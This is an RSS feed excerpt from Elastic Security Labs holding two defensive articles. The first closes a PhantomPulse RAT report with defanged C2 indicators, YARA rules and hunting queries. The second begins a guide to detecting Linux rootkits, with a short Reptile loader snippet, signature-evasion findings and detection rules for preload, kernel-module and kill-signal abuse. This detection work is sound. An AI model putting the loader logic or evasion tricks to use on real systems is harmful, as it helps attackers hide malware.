<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image39.png" alt="Funding wallet transactions" title="Funding wallet transactions" /></p>
<h4>Payload staging server</h4>
<p>The initial payload delivery server at <code>195.3.222[.]251</code> is hosted on <strong>AS 201814 (MEVSPACE sp. z o.o.)</strong>, a Polish hosting provider.</p>
<h4>PhantomPulse C2 panel</h4>
<p>The domain <code>fefea22134[.]net</code> resolves to Cloudflare IPs (<code>104.21.79[.]142</code> and <code>172.67.146[.]15</code>), indicating the C2 panel sits behind Cloudflare's proxy. Historical passive DNS shows the domain was first resolved on 2026-03-12, with earlier resolutions pointing to different IPs (<code>188.114.97[.]1</code> and <code>188.114.96[.]1</code>) on 2026-03-20.</p>
<p>The domain uses a Let's Encrypt certificate first observed on 2026-03-12:</p>
<ul>
<li><strong>Serial</strong>: <code>5130b76e63cd41f11e6b7c2a77f203f72b4</code></li>
<li><strong>Thumbprint</strong>: <code>6c0a1da746438d68f6c4ffbf9a10e873f3cf0499</code></li>
<li><strong>Validity</strong>: <code>2026-02-19 to 2026-05-20</code></li>
</ul>
<p>The certificate issuance date (Feb 19) aligns with the most recent blockchain C2 rotation transaction encoding <code>panel.fefea22134[.]net</code>, suggesting the infrastructure was provisioned the same day the C2 URL was published on-chain.</p>
<h2>Conclusion</h2>
<p>REF6598 demonstrates how threat actors continue to find creative initial access vectors by abusing trusted applications and employing targeted social engineering. By abusing Obsidian's community plugin ecosystem rather than exploiting a software vulnerability, the attackers bypass traditional security controls entirely, relying on the application's intended functionality to execute arbitrary code.</p>
<p>In the observed intrusion, <a href="https://www.elastic.co/fr/security/endpoint-security">Elastic Defend</a> detected and blocked the attack chain at the early stage before PHANTOMPULSE could execute, preventing the threat actor from achieving their objectives. The behavioral protections triggered on the anomalous process execution originating from Obsidian, stopping the payload delivery in its tracks.</p>
<p>Organizations in the financial and cryptocurrency sectors should be aware that legitimate productivity tools can be turned into attack vectors. Defenders should monitor for anomalous child process creation from applications like Obsidian and enforce application-level plugin policies where possible. The indicators and detection logic provided in this research can be used to identify and respond to this activity.</p>
<p>Elastic Security Labs will continue to monitor REF6598 for further developments, including additional macOS payloads once the associated C2 infrastructure becomes active.</p>
<h4>MITRE ATT&amp;CK</h4>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h5>Tactics</h5>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
</ul>
<h5>Techniques</h5>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/003/">Phishing: Spearphishing via Service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/002/">User Execution: Malicious File</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/002/">Command and Scripting Interpreter: AppleScript</a></li>
<li><a href="https://attack.mitre.org/techniques/T1140/">Deobfuscate/Decode Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Code Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1497/003/">Virtualization/Sandbox Evasion: Time Based Evasion</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1053/005/">Scheduled Task/Job: Scheduled Task</a></li>
<li><a href="https://attack.mitre.org/techniques/T1547/011/">Boot or Logon Autostart Execution: Plist Modification</a></li>
<li><a href="https://attack.mitre.org/techniques/T1056/001/">Input Capture: Keylogging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1113/">Screen Capture</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1548/002/">Abuse Elevation Control Mechanism: Bypass UAC</a></li>
</ul>
<h3>Detecting REF6598</h3>
<h4>Detection</h4>
<p>The following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/ff73f1344671a50945c40c45af0ae0b6fc2ed840/rules/windows/execution_windows_powershell_susp_args.toml#L27">Suspicious Windows Powershell Arguments</a></li>
</ul>
<h4>Prevention</h4>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/c28c16baea1b0c9d2ebc63dfc1880635890fd91e/behavior/rules/windows/execution_suspicious_powershell_execution.toml#L8">Suspicious PowerShell Execution</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/c28c16baea1b0c9d2ebc63dfc1880635890fd91e/behavior/rules/windows/defense_evasion_network_module_loaded_from_suspicious_unbacked_memory.toml">Network Module Loaded from Suspicious Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/c28c16baea1b0c9d2ebc63dfc1880635890fd91e/behavior/rules/macos/defense_evasion_base64_encoded_string_execution_via_osascript.toml">Base64 Encoded String Execution via Osascript</a></li>
</ul>
<h4>Hunting queries in Elastic</h4>
<p>These hunting queries are used to identify the presence of the Obsidian community shell command plugin as well as the resulting command execution :</p>
<h5>KQL</h5>
<pre><code>event.category : file and process.name : (Obsidian or Obsidian.exe) and
 file.path : *obsidian-shellcommands*
</code></pre>
<pre><code>event.category : process and event.type : start and
 process.name : (sh or bash or zsh or powershell.exe or cmd.exe) and 
 process.parent.name : (Obsidian.exe or Obsidian)
</code></pre>
<h5>YARA</h5>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the <strong>PHANTOMPULL</strong> and <strong>PHANTOMPULSE</strong></p>
<pre><code>rule Windows_Trojan_PhantomPull {
    meta:
        author = &quot;Elastic Security&quot;
        os = &quot;Windows&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;PhantomPull&quot;
        threat_name = &quot;Windows.Trojan.PhantomPull&quot;
        reference_sample = &quot;70bbb38b70fd836d66e8166ec27be9aa8535b3876596fc80c45e3de4ce327980&quot;

    strings:
        $GetTickCount = { 48 83 C4 80 FF 15 ?? ?? ?? ?? 83 F8 FE 75 }
        $djb2 = { 45 8B 0C 83 41 BA A7 C6 67 4E 49 01 C9 45 8A 01 }
        $mutex = { 48 89 EB 83 E3 ?? 45 8A 2C 1C 45 32 2C 2E 45 0F B6 FD }
        $str_decrypt = { 39 C2 7E ?? 49 89 C1 41 83 E1 ?? 47 8A 1C 0A 44 32 1C 01 45 88 1C 00 48 FF C0 }
        $payload_decrypt = { 4C 89 C8 83 E0 0F 41 8A 14 02 43 30 14 0F 49 FF C1 44 39 CB }
        $url = &quot;/v1/updates/check?build=payloads&quot; ascii fullword
    condition:
        3 of them
}

</code></pre>
<pre><code>rule Windows_Trojan_PhantomPulse {
    meta:
        author = &quot;Elastic Security&quot;
        os = &quot;Windows&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;PhantomPulse&quot;
        threat_name = &quot;Windows.Trojan.PhantomPulse&quot;
        reference_sample = &quot;9e3890d43366faec26523edaf91712640056ea2481cdefe2f5dfa6b2b642085d&quot;

    strings:
        $a = &quot;[UNINSTALL 2/6] Removing Scheduled Task...&quot; fullword
        $b = &quot;PhantomInject: host PID=%lu&quot; fullword
        $c = &quot;inject: shellcode detected -&gt; InjectShellcodePhantom&quot; fullword
        $d = &quot;inject: shellcode detected, using phantom section hijack&quot; fullword
    condition:
        all of them
}
</code></pre>
<h3>Observations</h3>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>70bbb38b70fd836d66e8166ec27be9aa8535b3876596fc80c45e3de4ce327980</code></td>
<td>SHA-256</td>
<td><code>syncobs.exe</code></td>
<td>PHANTOMPULL loader</td>
</tr>
<tr>
<td><code>33dacf9f854f636216e5062ca252df8e5bed652efd78b86512f5b868b11ee70f</code></td>
<td>SHA-256</td>
<td></td>
<td>PhantomPulse RAT (final payload)</td>
</tr>
<tr>
<td><code>195.3.222[.]251</code></td>
<td>ipv4-addr</td>
<td></td>
<td>Staging server (PowerShell script &amp; loader delivery)</td>
</tr>
<tr>
<td><code>panel.fefea22134[.]net</code></td>
<td>domain-name</td>
<td></td>
<td>PhantomPulse C2 panel</td>
</tr>
<tr>
<td><code>0x666[.]info</code></td>
<td>domain-name</td>
<td></td>
<td>macOS dropper C2 domain</td>
</tr>
<tr>
<td><code>t[.]me/ax03bot</code></td>
<td>url</td>
<td></td>
<td>macOS dropper Telegram fallback C2</td>
</tr>
<tr>
<td><code>0xc117688c530b660e15085bF3A2B664117d8672aA</code></td>
<td>crypto-wallet</td>
<td></td>
<td>Ethereum wallet for blockchain C2 resolution</td>
</tr>
<tr>
<td><code>0x38796B8479fDAE0A72e5E7e326c87a637D0Cbc0E</code></td>
<td>crypto-wallet</td>
<td></td>
<td>Funding wallet for C2 resolution wallet</td>
</tr>
<tr>
<td><code>thoroughly-publisher-troy-clara[.]trycloudflare[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>Prior PhantomPulse C2 (Cloudflare Tunnel)</td>
</tr>
</tbody>
</table>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/phantom-in-the-vault.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[Hooked on Linux: Rootkit Detection Engineering]]></title>
            <link>https://www.elastic.co/fr/security-labs/linux-rootkits-2-caught-in-the-act</link>
            <guid>linux-rootkits-2-caught-in-the-act</guid>
            <pubDate>Thu, 02 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[In this second part of a two-part series, we explore Linux rootkit detection engineering, focusing on the limitations of static detection reliance, and the importance of rootkit behavioral detection.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>In <a href="https://www.elastic.co/fr/security-labs/linux-rootkits-1-hooked-on-linux">part one</a>, we examined how Linux rootkits work: their evolution, taxonomy, and techniques for manipulating user space and kernel space. In this second part, we turn to detection engineering. We begin by showing why static detection is often unreliable against Linux rootkits, even when binaries are only trivially modified, and then move on to behavioral and runtime signals that defenders can use instead. From shared object abuse and LKM loading to eBPF, io_uring, persistence, and defense evasion, this article focuses on practical ways to detect and investigate rootkit activity in real environments.</p>
<h2>Static detection via VirusTotal</h2>
<p>Before focusing on behavioral detection techniques, it is useful to examine how well traditional static detection mechanisms identify Linux rootkits. To do so, we conducted a small experiment using VirusTotal as a proxy for traditional signature-based antivirus detection. A dataset of ten Linux rootkits was assembled from publicly available research papers and open-source repositories. Each sample was either uploaded to VirusTotal or retrieved from existing submissions.</p>
<p>For every rootkit, we recorded the number of antivirus engines that flagged the original binary. We then performed two additional tests:</p>
<ol>
<li>Stripped binaries, created using <code>strip --strip-all</code>, removing symbol tables and other non-essential metadata.</li>
<li>Trivially modified binaries, created by appending a single null byte to the original file: an intentionally unsophisticated change.</li>
</ol>
<p>The goal was not to evade detection through advanced obfuscation, but to assess how fragile static signatures are when faced with even the simplest binary modifications.</p>
<p><em>Table 1: Technical overview of the analyzed rootkit dataset</em></p>
<table>
<thead>
<tr>
<th align="left">Rootkit</th>
<th align="left">Basic detections</th>
<th align="left">Stripped</th>
<th align="left">Null byte added</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Azazel</td>
<td align="left">36/66</td>
<td align="left">19/66</td>
<td align="left">21/66</td>
</tr>
<tr>
<td align="left">Bedevil*</td>
<td align="left">32/66</td>
<td align="left">32/66</td>
<td align="left">21/66</td>
</tr>
<tr>
<td align="left">BrokePKG</td>
<td align="left">7/66</td>
<td align="left">3/66</td>
<td align="left">3/66</td>
</tr>
<tr>
<td align="left">Diamorphine</td>
<td align="left">33/66</td>
<td align="left">8/64</td>
<td align="left">22/66</td>
</tr>
<tr>
<td align="left">Kovid</td>
<td align="left">27/66</td>
<td align="left">1/66</td>
<td align="left">15/66</td>
</tr>
<tr>
<td align="left">Mobkit</td>
<td align="left">29/66</td>
<td align="left">6/66</td>
<td align="left">17/66</td>
</tr>
<tr>
<td align="left">Reptile</td>
<td align="left">32/66</td>
<td align="left">3/66</td>
<td align="left">20/66</td>
</tr>
<tr>
<td align="left">Snapekit</td>
<td align="left">30/66</td>
<td align="left">3/66</td>
<td align="left">19/66</td>
</tr>
<tr>
<td align="left">Symbiote</td>
<td align="left">42/66</td>
<td align="left">8/66</td>
<td align="left">22/66</td>
</tr>
<tr>
<td align="left">TripleCross</td>
<td align="left">31/66</td>
<td align="left">17/66</td>
<td align="left">19/66</td>
</tr>
</tbody>
</table>
<p><em>* Bedevil is stripped by default, and thus, the basic and stripped detections are the same</em></p>
<h3>Observations</h3>
<p>As expected, stripping binaries generally resulted in a sharp drop in detection rates. In several cases, detections fell to near-zero, suggesting that some antivirus engines rely heavily on symbol information or other easily removable metadata. Even more telling is the impact of adding a single null byte: a modification that does not alter program logic, execution flow, or behavior, yet still significantly degrades detection for many samples.</p>
<p>This highlights a fundamental weakness of static, signature-based detection. If a one-byte change can meaningfully affect detection outcomes, attackers do not need sophisticated obfuscation to evade static scanners.</p>
<h3>Obfuscation techniques in rootkits</h3>
<p>Interestingly, most of the rootkits in this dataset employ little to no advanced static obfuscation. Where obfuscation is present, it is typically limited to simple XOR encoding of strings or configuration data, or lightweight packing techniques that slightly alter the binary layout. These methods are inexpensive to implement and sufficient to defeat many static signatures.</p>
<p>The absence of more advanced obfuscation in these samples is notable. Many are open-source proof-of-concept rootkits designed to demonstrate techniques rather than to aggressively evade detection. Yet even with minimal or no obfuscation, static detection proves unreliable.</p>
<h3>Why static detection is not enough</h3>
<p>This experiment reinforces a key point: static detection alone is fundamentally insufficient for reliable rootkit detection. The fragility of static signatures (especially in the face of trivial modifications) means defenders cannot rely on file-based indicators or hash-based detection to uncover stealthy threats.</p>
<p>When binaries can be altered without affecting behavior, the only remaining consistent signal is the rootkit's behavior at runtime. For that reason, the remainder of this blog shifts its focus from static artifacts to dynamic analysis and behavioral detection, examining how rootkits interact with the operating system, manipulate execution flow, and leave observable traces during execution.</p>
<p>That is where detection engineering becomes both more challenging and far more effective.</p>
<h2>Dynamic detection engineering</h2>
<h3>Userland rootkit loading detection techniques</h3>
<p>Userland rootkits often hijack the dynamic linking process, injecting malicious shared objects into target processes without needing kernel-level access. An infection begins with the creation of a shared object file. The detection of newly created shared object files can be detected through a detection rule similar to the one displayed below:</p>
<pre><code class="language-sql">file where event.action == &quot;creation&quot; and
(file.extension like~ &quot;so&quot; or file.name like~ &quot;*.so.*&quot;)
</code></pre>
<p>These files are often written to writable or ephemeral paths such as <code>/tmp/</code>, <code>/dev/shm/</code>, or hidden subdirectories under user home directories. Attackers may either download, compile, or drop them directly from a loader. This knowledge may be applied to the detection rule above to reduce noise.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/linux-rootkits-2-caught-in-the-act/image7.png" alt="Figure 1: Telemetry example of a shared object rootkit file creation" title="Figure 1: Telemetry example of a shared object rootkit file creation." /></p>
<p>As an example, in the telemetry shown above, we can see the threat actor using <code>scp</code> to download a shared object file into a hidden subdirectory within <code>/tmp</code>, then move it to a library directory, attempting to blend in. We detected this, and similar threats, via:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/183b337a01a2e3d6b5a2915887630ffb1df8d822/rules/linux/persistence_shared_object_creation.toml">Shared Object Created by Previously Unknown Process</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/e012e88342d89d6d7f28aac4a7c744ef96b16067/rules/linux/defense_evasion_hidden_shared_object.toml">Creation of Hidden Shared Object File</a></li>
</ul>
<p>Once the shared object file is present on the system, the attacker has several options for activating it. The most commonly abused mechanisms are the <code>LD_PRELOAD</code> environment variable, the <code>/etc/ld.so.preload</code> file, and dynamic linker configuration paths such as <code>/etc/ld.so.conf</code>.</p>
<p>The <code>LD_PRELOAD</code> environment variable allows an attacker to specify a shared object that will be loaded before any other libraries during the execution of a dynamically linked binary. This allows for a complete override of <code>libc</code> functions, such as <code>execve()</code>, <code>open()</code>, or <code>readdir()</code>. This method works on a per-process basis and does not require root access.</p>
<p>To detect this technique, telemetry for the <code>LD_PRELOAD</code> environment variable is required. Once this is available, any detection logic to detect uncommon <code>LD_PRELOAD</code> values can be written. For example:</p>
<pre><code class="language-sql">process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and
process.env_vars != null
</code></pre>
<p>As shown in Figure 1, this was also the next step for the attackers. The attackers moved <code>libz.so.1</code> from <code>/tmp/.X12-unix/libz.so.1</code> to <code>/usr/local/lib/libz.so.1</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/linux-rootkits-2-caught-in-the-act/image18.png" alt="Figure 2: Telemetry example of a shared object rootkit load via LD_PRELOAD" title="Figure 2: Telemetry example of a shared object rootkit load via LD_PRELOAD." /></p>
<p>To be higher fidelity, we implemented this logic using the <a href="https://www.elastic.co/fr/docs/solutions/security/detect-and-alert/create-detection-rule#create-new-terms-rule">new_terms rule type</a>, only flagging on previously unseen shared object entries within the <code>LD_PRELOAD</code> variable via:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/183b337a01a2e3d6b5a2915887630ffb1df8d822/rules/linux/defense_evasion_unusual_preload_env_vars.toml#L18">Unusual Preload Environment Variable Process Execution</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/3e9b8bcdc7c1e70705aa33d3981bae224289a549/rules/linux/defense_evasion_ld_preload_cmdline.toml">Unusual LD_PRELOAD/LD_LIBRARY_PATH Command Line Arguments</a></li>
</ul>
<p>Of course, if more than just <code>LD_PRELOAD</code> and <code>LD_LIBRARY_PATH</code> environment variables are collected, the rule above should be altered to include these two items specifically. To reduce noise, statistical analysis and/or baselining should be conducted.</p>
<p>Another method of activation is to leverage the <code>/etc/ld.so.preload</code> file. If present, this file forces the dynamic linker to inject the listed shared object into every dynamically linked binary on the system, resulting in global injection.</p>
<p>A similar method involves altering the dynamic linker’s configuration to prioritize malicious library paths. This can be achieved by modifying <code>/etc/ld.so.conf</code> or adding entries to <code>/etc/ld.so.conf.d/</code>, followed by executing <code>ldconfig</code> to update the cache. This changes the resolution path of critical libraries, such as <code>libc.so.6</code>.</p>
<p>These scenarios can be detected by monitoring the <code>/etc/ld.so.preload</code> and <code>/etc/ld.so.conf</code> files, as well as the <code>/etc/ld.so.conf.d/</code> directory for creation/modification events. Using this raw telemetry, a detection rule to flag these events can be implemented:</p>
<pre><code class="language-sql">file where event.action in (&quot;creation&quot;, &quot;rename&quot;) and
file.path like (&quot;/etc/ld.so.preload&quot;, &quot;/etc/ld.so.conf&quot;, &quot;/etc/ld.so.conf.d/*&quot;)
</code></pre>
<p>We frequently see this chain, where a shared object is created, and then the dynamic linker is modified.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/linux-rootkits-2-caught-in-the-act/image9.png" alt="Figure 3: Telemetry example of shared object creation followed by dynamic linker configuration creation" title="Figure 3: Telemetry example of shared object creation followed by dynamic linker configuration creation." /></p>
<p>Which we detect via the following detection rules:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/183b337a01a2e3d6b5a2915887630ffb1df8d822/rules/linux/defense_evasion_dynamic_linker_file_creation.toml">Dynamic Linker Creation</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/e012e88342d89d6d7f28aac4a7c744ef96b16067/rules/linux/privilege_escalation_ld_preload_shared_object_modif.toml">Modification of Dynamic Linker Preload Shared Object</a></li>
</ul>
<p>Chaining these two alerts together on a single host warrants investigation.</p>
<h3>Kernel-space rootkit loading detection techniques</h3>
<p>Loading an LKM manually typically requires using built-in command-line utilities such as <code>modprobe</code>, <code>insmod</code>, and <code>kmod</code>. Detecting the execution of these utilities will detect the loading phase (when performed manually).</p>
<pre><code class="language-sql">process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and (
  (process.name == &quot;kmod&quot; and process.args == &quot;insmod&quot; and
   process.args like~ &quot;*.ko*&quot;) or
  (process.name == &quot;kmod&quot; and process.args == &quot;modprobe&quot; and
   not process.args in (&quot;-r&quot;, &quot;--remove&quot;)) or
  (process.name == &quot;insmod&quot; and process.args like~ &quot;*.ko*&quot;) or
  (process.name == &quot;modprobe&quot; and not process.args in (&quot;-r&quot;, &quot;--remove&quot;))
)
</code></pre>
<p>Many open-source rootkits are published without a loader and rely on pre-installed LKM-loading utilities. An example is <a href="https://github.com/MatheuZSecurity/Singularity">Singularity</a>, which provides a <code>load_and_persistence.sh</code> script, which performs several actions, after which it eventually calls <code>insmod &quot;$MODULE_DIR/$MODULE_NAME.ko&quot;</code>. Although <code>insmod</code> is called in the command, <code>insmod</code> is actually <code>kmod</code> under the hood, with <code>insmod</code> as a process argument. An example of a Singularity load:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/linux-rootkits-2-caught-in-the-act/image15.png" alt="Figure 4: Telemetry example of loading singularity.ko via kmod" title="Figure 4: Telemetry example of loading singularity.ko via kmod." /></p>
<p>Which can be easily detected via the following detection rules:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/e012e88342d89d6d7f28aac4a7c744ef96b16067/rules/linux/persistence_insmod_kernel_module_load.toml">Kernel Module Load via Built-in Utility</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/5d5e1d9ca43c1344927a0e81302bc14cb1891a20/rules/linux/persistence_kernel_module_load_from_unusual_location.toml">Kernel Module Load from Unusual Location</a></li>
</ul>
<p>This detection approach, however, is far from bulletproof, as many rootkits rely on a loader to load the LKM, thereby bypassing execution of these userland utilities.</p>
<p>For example, <a href="https://codeberg.org/hardenedvault/Reptile-vault-range/src/commit/01dc5e1300bf1ba364870c8f4781e085c3c463e9/kernel/loader/loader.c">Reptile’s loader</a> directly invokes the <code>init_module</code> syscall with an in-memory decrypted kernel blob:</p>
<pre><code class="language-c">#define init_module(module_image, len, param_values) syscall(__NR_init_module, module_image, len, param_values)

int main(void) {
    [...]
    do_decrypt(reptile_blob, len, DECRYPT_KEY);
    module_image = malloc(len);
    memcpy(module_image, reptile_blob, len);
    init_module(module_image, len, &quot;&quot;);
    [...]
}
</code></pre>
<p>Additionally, <a href="https://codeberg.org/hardenedvault/Reptile-vault-range/src/commit/01dc5e1300bf1ba364870c8f4781e085c3c463e9/kernel/kmatryoshka/kmatryoshka.c">Reptile’s kmatryoshka module</a> acts as an in-kernel chainloader that decrypts and loads another hidden LKM using a direct function pointer to <code>sys_init_module</code>, located via <code>kallsyms_on_each_symbol()</code>. This further obscures the loading mechanism from userland visibility.</p>
<p>Because of this, it's essential to understand what these utilities do under the hood; they are merely wrappers around the <code>init_module()</code> and <code>finit_module()</code> system calls. Effective detection should therefore focus on tracing these syscalls directly, rather than the tooling that invokes them.</p>
<p>To ensure the availability of the data sources required to load LKMs, various security tools can be employed. Auditd or Auditd Manager are suitable choices. To facilitate the collection of <code>init_module()</code> and <code>finit_module</code> syscalls, the subsequent configuration can be implemented.</p>
<pre><code class="language-sql">-a always,exit -F arch=b64 -S finit_module -S init_module
-a always,exit -F arch=b32 -S finit_module -S init_module
</code></pre>
<p>Combining this raw telemetry with a detection rule that alerts when this event occurs allows for a strong defense.</p>
<pre><code class="language-sql">driver where event.action == &quot;loaded-kernel-module&quot; and
auditd.data.syscall in (&quot;init_module&quot;, &quot;finit_module&quot;)
</code></pre>
<p>This strategy will allow detection of the kernel module loading, regardless of the utility being used for the loading event. In the example below, we see a true positive detection of the <a href="https://github.com/m0nad/Diamorphine">Diamorphine</a> rootkit.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/linux-rootkits-2-caught-in-the-act/image2.png" alt="Figure 5: Telemetry example of detecting the Diamorphine load event via finit_module() syscall" title="Figure 5: Telemetry example of detecting the Diamorphine load event via finit_module() syscall." /></p>
<p>This pre-built rule is available here:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/183b337a01a2e3d6b5a2915887630ffb1df8d822/rules/linux/persistence_kernel_driver_load.toml">Kernel Driver Load</a></li>
</ul>
<p>Additional Linux detection engineering guidance through Auditd is presented in the <a href="https://www.elastic.co/fr/security-labs/linux-detection-engineering-with-auditd">Linux detection engineering with Auditd research</a>.</p>
<h4>Out-of-tree and unsigned modules</h4>
<p>Another sign of a malicious LKM is the presence of the kernel “taint” flag. When the kernel detects that a module is loaded that is either not part of the official kernel tree, lacks a valid signature, or uses a non-permissive license, it marks the kernel as “tainted”. This is a built-in integrity mechanism that indicates the kernel is in a potentially untrusted state. An example of this is shown below, where the <code>reveng_rtkit</code> module is loaded:</p>
<pre><code class="language-shell">[ 2853.023215] reveng_rtkit: loading out-of-tree module taints kernel.
[ 2853.023219] reveng_rtkit: module license 'unspecified' taints kernel.
[ 2853.023220] Disabling lock debugging due to kernel taint
[ 2853.023297] reveng_rtkit: module verification failed: signature and/or required key missing - tainting kernel
</code></pre>
<p>The kernel identifies the module as out-of-tree, with an unspecified license, and missing cryptographic verification. This results in the kernel being marked tainted.</p>
<p>To detect this behavior, system and kernel logging must be parsed and ingested. Once kernel log telemetry is available, simple pattern matching or rule-based detection can flag these events. Out-of-tree module loading can be detected through:</p>
<pre><code class="language-sql">event.dataset:&quot;system.syslog&quot; and process.name:&quot;kernel&quot; and
message:&quot;loading out-of-tree module taints kernel.&quot;
</code></pre>
<p>And similar detection logic can be implemented to detect unsigned module loading:</p>
<pre><code class="language-sql">event.dataset:&quot;system.syslog&quot; and process.name:&quot;kernel&quot; and
message:&quot;module verification failed: signature and/or required key missing - tainting kernel&quot;
</code></pre>
<p>Using the detection logic above, we observed true positives in telemetry, attempting to load Singularity:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/linux-rootkits-2-caught-in-the-act/image17.png" alt="Figure 6: Telemetry example of a kernel taint upon the loading of Singularity" title="Figure 6: Telemetry example of a kernel taint upon the loading of Singularity." /></p>
<p>These rules are by default available in:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/183b337a01a2e3d6b5a2915887630ffb1df8d822/rules/linux/persistence_tainted_kernel_module_load.toml">Tainted Kernel Module Load</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/183b337a01a2e3d6b5a2915887630ffb1df8d822/rules/linux/persistence_tainted_kernel_module_out_of_tree_load.toml">Tainted Out-Of-Tree Kernel Module Load</a></li>
</ul>
<p>The log entry will always show the module name that triggered the event, enabling easy triage. When the LKM is not present in the system during a manual check triggered by this alert, it may indicate that the LKM is hiding itself.</p>
<h4>Kill signals</h4>
<p>Many (open-source) rootkits leverage <code>kill</code> signals, specifically those in the higher, unassigned ranges (32+), as covert communication channels or triggers for malicious actions. For instance, a rootkit might intercept a specific high-numbered <code>kill</code> signal (e.g., <code>kill -64 &lt;pid&gt;</code>). Upon receiving this signal, the rootkit's payload could be configured to elevate privileges, execute commands, toggle hiding capabilities, or establish a backdoor.</p>
<p>To detect this, we can leverage Auditd and create a rule that collects all kill signals:</p>
<pre><code class="language-sql">-a exit,always -F arch=b64 -S kill -k kill_rule
</code></pre>
<p>The arguments passed to <code>kill()</code> are <code>kill(pid, sig)</code>. We can query <code>a1</code> (the signal) to flag any kill signal above 32.</p>
<pre><code class="language-sql">process where event.action == &quot;killed-pid&quot; and
auditd.data.syscall == &quot;kill&quot; and auditd.data.a1 in (
&quot;21&quot;, &quot;22&quot;, &quot;23&quot;, &quot;24&quot;, &quot;25&quot;, &quot;26&quot;, &quot;27&quot;, &quot;28&quot;, &quot;29&quot;, &quot;2a&quot;,
&quot;2b&quot;, &quot;2c&quot;, &quot;2d&quot;, &quot;2e&quot;, &quot;2f&quot;, &quot;30&quot;, &quot;31&quot;, &quot;32&quot;, &quot;33&quot;, &quot;34&quot;,
&quot;35&quot;, &quot;36&quot;, &quot;37&quot;, &quot;38&quot;, &quot;39&quot;, &quot;3a&quot;, &quot;3b&quot;, &quot;3c&quot;, &quot;3d&quot;, &quot;3e&quot;,
&quot;3f&quot;, &quot;40&quot;, &quot;41&quot;, &quot;42&quot;, &quot;43&quot;, &quot;44&quot;, &quot;45&quot;, &quot;46&quot;, &quot;47&quot;
)
</code></pre>
<p>Analyzing the <code>kill()</code> syscall for unusual signal values via Auditd presents a strong detection opportunity against rootkits that utilize these signals, as seen in techniques such as those employed by Diamorphine. The kill-related pre-built rules are available at:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/5d98a212fcb980a37ee6be2327f861e5af3ede41/rules/linux/defense_evasion_unsual_kill_signal.toml">Unusual Kill Signal</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/e012e88342d89d6d7f28aac4a7c744ef96b16067/rules/linux/defense_evasion_kill_command_executed.toml">Kill Command Execution</a></li>
</ul>
<h4>Segfaults</h4>
<p>Finally, it’s essential to recognize that kernel-space rootkits are inherently fragile. LKMs are typically compiled for a specific kernel version and configuration. An incorrectly resolved symbol or a misaligned memory write may trigger a segmentation fault. While these failures may not immediately expose the rootkit’s functionality, they provide strong forensic signals.</p>
